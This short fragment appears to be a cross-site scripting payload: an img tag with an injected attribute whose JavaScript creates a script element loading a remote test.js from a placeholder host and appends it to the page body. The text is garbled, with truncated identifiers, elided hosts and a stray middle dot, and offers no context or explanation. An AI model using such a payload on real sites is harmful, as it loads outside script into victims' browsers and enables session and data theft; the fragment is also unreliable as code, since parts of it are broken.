...
img src="http://xss.xss/xss.jpg" x='
'..var x=..reateElement('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /
